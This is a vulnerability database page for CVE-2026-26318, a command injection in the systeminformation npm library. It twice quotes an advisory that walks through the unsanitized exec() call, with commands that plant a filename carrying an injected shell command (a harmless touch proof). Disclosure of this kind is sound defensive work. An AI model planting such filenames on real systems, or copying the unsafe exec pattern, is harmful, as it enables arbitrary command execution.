CVE-2026-26318
systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
- Record
CVE-2026-26318- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78, CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-8239
8.8
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
- Record
EUVD-2026-8239- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5vv4-hvf7-2h46
8.8
Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation
Command Injection via Unsanitized locate Output in versions() — systeminformation
Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)
The Vulnerable Code Path
Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:
// lib/osinfo.js — lines 770-776
exec('locate bin/postgres', (error, stdout) => {
if (!error) {
const postgresqlBin = stdout.toString().split('\n').sort();
if (postgresqlBin.length) {
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
// parses version string...
});
}
}
});
Here's what happens step by step:
- It runs
locate bin/postgresto search the filesystem for PostgreSQL binaries - It splits the output by newline and sorts the results alphabetically
- It takes the last element (highest alphabetically)
- It concatenates that path directly into a new
exec()call with+ ' -V'
No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().
The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().
Exploitation
Prerequisites
For this vulnerability to be exploitable, the following conditions must be met:
- Target system runs Linux — the vulnerable code path is inside an
if (_linux)block locate/plocateis installed — common on Ubuntu, Debian, Fedora, RHEL- PostgreSQL binary exists in the locate database — so
locate bin/postgresreturns results (otherwise the code falls through to a safepsql -Vfallback) - The attacker can create files on the filesystem — in any directory that gets indexed by
updatedb - The locate database gets updated —
updatedbruns daily via systemd timer (plocate-updatedb.timer) or cron on most distros
Step 1 — Verify the Environment
On the target machine, confirm locate is available and running:
which locate
# /usr/bin/locate
systemctl list-timers | grep plocate
# plocate-updatedb.timer plocate-updatedb.service
# (runs daily, typically around 1-2 AM)
Check who owns the locate database:
ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db
Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.
Step 2 — Craft the Malicious File Path
The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.
Create a file whose path contains an injected command:
mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"
Verify it exists:
find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:
sudo updatedb
Then verify locate picks it up:
locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
Step 3 — Understand the Sort Trick
The vulnerable code sorts the locate results alphabetically and takes the last element:
const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + '…
- Record
GHSA-5vv4-hvf7-2h46- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
8.8
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
- Record
CVE-2026-26318- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
8.8
systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
- Record
CVE-2026-26318- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-26318
8.8
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
- Record
DEBIAN-CVE-2026-26318- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-5vv4-hvf7-2h46
8.8
Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation
Command Injection via Unsanitized locate Output in versions() — systeminformation
Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)
The Vulnerable Code Path
Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:
// lib/osinfo.js — lines 770-776
exec('locate bin/postgres', (error, stdout) => {
if (!error) {
const postgresqlBin = stdout.toString().split('\n').sort();
if (postgresqlBin.length) {
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
// parses version string...
});
}
}
});
Here's what happens step by step:
- It runs
locate bin/postgresto search the filesystem for PostgreSQL binaries - It splits the output by newline and sorts the results alphabetically
- It takes the last element (highest alphabetically)
- It concatenates that path directly into a new
exec()call with+ ' -V'
No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().
The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().
Exploitation
Prerequisites
For this vulnerability to be exploitable, the following conditions must be met:
- Target system runs Linux — the vulnerable code path is inside an
if (_linux)block locate/plocateis installed — common on Ubuntu, Debian, Fedora, RHEL- PostgreSQL binary exists in the locate database — so
locate bin/postgresreturns results (otherwise the code falls through to a safepsql -Vfallback) - The attacker can create files on the filesystem — in any directory that gets indexed by
updatedb - The locate database gets updated —
updatedbruns daily via systemd timer (plocate-updatedb.timer) or cron on most distros
Step 1 — Verify the Environment
On the target machine, confirm locate is available and running:
which locate
# /usr/bin/locate
systemctl list-timers | grep plocate
# plocate-updatedb.timer plocate-updatedb.service
# (runs daily, typically around 1-2 AM)
Check who owns the locate database:
ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db
Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.
Step 2 — Craft the Malicious File Path
The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.
Create a file whose path contains an injected command:
mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"
Verify it exists:
find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:
sudo updatedb
Then verify locate picks it up:
locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
Step 3 — Understand the Sort Trick
The vulnerable code sorts the locate results alphabetically and takes the last element:
const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + '…
- Record
GHSA-5vv4-hvf7-2h46- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-26318
8.8
CVE-2026-26318 in systeminformation - Patched by Root
Root has patched CVE-2026-26318 in the systeminformation package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-26318- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-26318
8.8
systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.
- Record
UBUNTU-CVE-2026-26318- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1788560453 No score
TuxCare security update for systeminformation (4 CVEs)
TuxCare rebuilt systeminformation to address 4 CVEs. Fixed in 5.23.8-tuxcare.1.
- Record
CLSA-2026-1788560453- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
systeminformationnpm |
before 5.31.0 | 5.31.0 |
systeminformationTuxCare:npm From an advisory covering 4 CVEs |
5.23.8-tuxcare.0 up to 5.23.8-tuxcare.1, plus listed versions 5.23.8 |
5.23.8-tuxcare.1 |
jupyterlabDebian:13 |
All versions, plus listed versions 4.0.11+ds1+~cs11.25.27-74.0.11+ds1+~cs11.25.27-84.0.11+ds1+~cs11.25.27-94.0.11+ds2+~cs11.25.27-14.0.11+ds2+~cs11.25.27-3 Show 24 moreShow less4.0.11+ds3+~cs11.25.27-14.0.11+ds4+~cs11.25.27-14.0.11+ds4+~cs11.25.27-24.0.11+ds4+~cs11.25.27-34.0.11+ds4+~cs11.25.27-44.0.11+ds5+~cs11.25.27-14.0.13+ds1+~2.0.1+~cs1.4.4-14.1.3+ds1+~2.0.1+~0.15.3+~cs1.4.4-14.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-14.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-24.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-34.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-44.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-54.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-64.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-74.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-84.4.1+ds1+~3.0.5+~0.16.6+~cs1.4.4-14.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-14.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-24.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-34.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-44.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-54.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-64.4.8+ds1+~3.1.0+~0.16.6+~cs1.4.4-1 |
None known |
jupyterlabDebian:14 |
before 4.0.11+ds5+~cs11.25.27-1, plus listed versions 4.0.11+ds1+~cs11.25.27-74.0.11+ds1+~cs11.25.27-84.0.11+ds1+~cs11.25.27-94.0.11+ds2+~cs11.25.27-14.0.11+ds2+~cs11.25.27-3 Show 5 moreShow less4.0.11+ds3+~cs11.25.27-14.0.11+ds4+~cs11.25.27-14.0.11+ds4+~cs11.25.27-24.0.11+ds4+~cs11.25.27-34.0.11+ds4+~cs11.25.27-4 |
4.0.11+ds5+~cs11.25.27-1 |
systeminformationRoot:npm |
before 5.23.8-aikido.5 | 5.23.8-aikido.55.23.8-aikido.6 |
@rootio/systeminformationRoot:npm |
before 5.23.8-root.io.5 | 5.23.8-root.io.55.23.8-root.io.25.23.8-root.io.35.23.8-root.io.45.23.8-root.io.6 |
jupyterlabUbuntu:25.10 |
All versions, plus listed versions 4.0.11+ds1+~cs11.25.27-54.0.11+ds1+~cs11.25.27-64.0.11+ds1+~cs11.25.27-7 |
None known |
jupyterlabUbuntu:26.10 |
All versions, plus listed versions 4.0.11+ds1+~cs11.25.27-94.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-34.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-4 |
None known |
node-systeminformationUbuntu:26.10 |
All versions, plus listed versions 5.31.6-45.31.7-1 |
None known |
jupyterlabUbuntu:26.04:LTS |
All versions, plus listed versions 4.0.11+ds1+~cs11.25.27-74.0.11+ds1+~cs11.25.27-84.0.11+ds1+~cs11.25.27-9 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-26318 is a high vulnerability (CVSS 8.8) in Sebhildebrandt Systeminformation, published February 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.28%, the 70th percentile. Fixed in systeminformation 5.31.0.
References
github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46
github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107
access.redhat.com/security/cve/CVE-2026-26318
bugzilla.redhat.com/show_bug.cgi?id=2441124
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26318.json
nvd.nist.gov/vuln/detail/CVE-2026-26318
Show 6 moreShow less
Left out here: the rest of 2 source descriptions. The JSON record has them.